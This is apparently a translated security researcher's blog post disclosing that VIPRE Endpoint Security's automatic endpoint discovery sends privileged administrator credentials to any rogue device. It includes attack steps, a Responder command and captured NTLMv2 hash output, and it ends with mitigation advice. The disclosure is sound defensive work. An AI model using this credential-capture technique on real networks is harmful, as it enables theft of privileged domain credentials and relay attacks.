写在前面的话
在这篇文章中,我将跟大家介绍我在VIPRE终端安全产品中发现的一个安全错误配置。就在几年前,我曾发过一篇标题为《Palo Alto防火墙中的客户端探测风险》的文章,并在文章中详细介绍了Palo Alto防火墙的客户端探测功能有可能泄露服务账号密码哈希的风险问题。而本文所要讨论的风险跟其类似,并有可能导致强制身份认证攻击出现。
VIPRE终端安全风险分析
VIPRE Endpoint Security(VIPRE终端安全)是一种典型的反病毒终端保护软件。它可以保护计算机设备免受恶意软件的攻击,并执行类似网页内容过滤之类的安全保护操作。本文所描述的问题与其检测恶意软件的相关功能无关,只与它部署代理的机制有关联。
该软件的一个特点是可以检测非托管系统并自动向其部署代理,这就是问题的根源所在。下面的内容是我们从产品用户指南中摘录的部分内容,并画出了重点部分:
除此之外,下是文档中引用的“自动安装代理”部分的摘录:
当我们在产品UI中查看设置信息时,我们将会看到,首先在“未保护的计算机发现”页面中,我们会看到我们能够勾选“启用终端发现”这个选项框。默认配置下,这个选项每小时会检查一次,这里还有一个“使用保存的凭据对未受保护的计算机进行身份验证”勾选框。
实际上,我们可以在页面底部看到相关的警告提醒,但它并未提到配置选项相关的安全风险,只提到了勾选后可能会增加错误日志的条目数量。
使用的凭据位于“代理安装”选项卡中的“远程凭据”配置部分,此处必须至少存在一组凭据。由于此帐户必须对系统具有本地管理权限,因此可以预见将在此处使用域管理员帐户,但是使用的任何帐户都必须具有高等级权限,因为它可能对所有受管系统都具有本地管理员权限。
攻击分析
现在,我们整理一下VIPRE将会做些什么:
VIPRE将会通过活动目录和NETBIOS每小时自动扫描网络一次;
VIPRE将会自动尝试登录流氓系统;
登录尝试将会使用高等级权限凭证来执行;
这样一来,我们的攻击过程就很简单了:
在目标网络中创建一个新的设备;
开启一台SMB服务器,我们可以使用Responder或py,或其他合法服务器;
等待一个小时以上;
在这里,我选择使用Responder进行测试,一切如我们所期待的那样成功执行了:
$ sudo python Responder.py -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.0.2.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [SMB] NTLMv2-SSP Client : 10.0.0.34 [SMB] NTLMv2-SSP Username : DOMAIN.LOCAL\vipre [SMB] NTLMv2-SSP Hash : vipre::DOMAIN.LOCAL:9004E002D008cb436097f2d43ab:5FD88B956E5E2EA5CB64964148CFD60B:0101000000000000C0653150DE09D201E291934C1c4AEF7E000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C000300340057004500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C00329E6351F2C18F2292C1CEAB94E076ADF33DA0A001000000000000000000000000000000000000900240063006900660073002F00310039006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000400000F2C6D23520B969106525FA996CD32002E003100360038002E0031002E003100300033000000000000000000
攻击可行性&风险缓解方案
需要注意的是,这种攻击的可行性取决于Microsoft协议的两个已知问题。NTLM协议中的一个漏洞已经公开了20多年,但是当前Windows系统的默认配置是允许NTLM身份验证。虽然Kerberos是在Windows 2000中引入的,但Windows仍然支持NTLM。为了使中继工作,目标系统必须配置为不需要使用SMB签名。但不幸的是,这仍然是现代Windows系统的默认设置。
跟Palo Alto防火墙的问题不同,这里主要有两个显著区别:
这里使用的账号必须具备高等级权限,因为这是安装代理的基本要求。Palo Alto的User-ID功能只是为了枚举登录的用户而设计的,因此可能需要更少的特权。
据我所知,VIPRE文档中没有提到这种风险。Palo Alto会告诉您最小化权限范围,并让您知道这会导致用户名、域和密码哈希的泄露。
因此,我们建议广大VIPRE用户禁用产品的终端发现功能,因为该功能的风险大于其功能性。即使未选中“使用保存的凭据对未受保护的计算机进行身份验证”选项,管理员也可能会错误地将其部署到恶意设备中。除此之外,我们还建议广大用户不要为任何策略配置自动代理安装。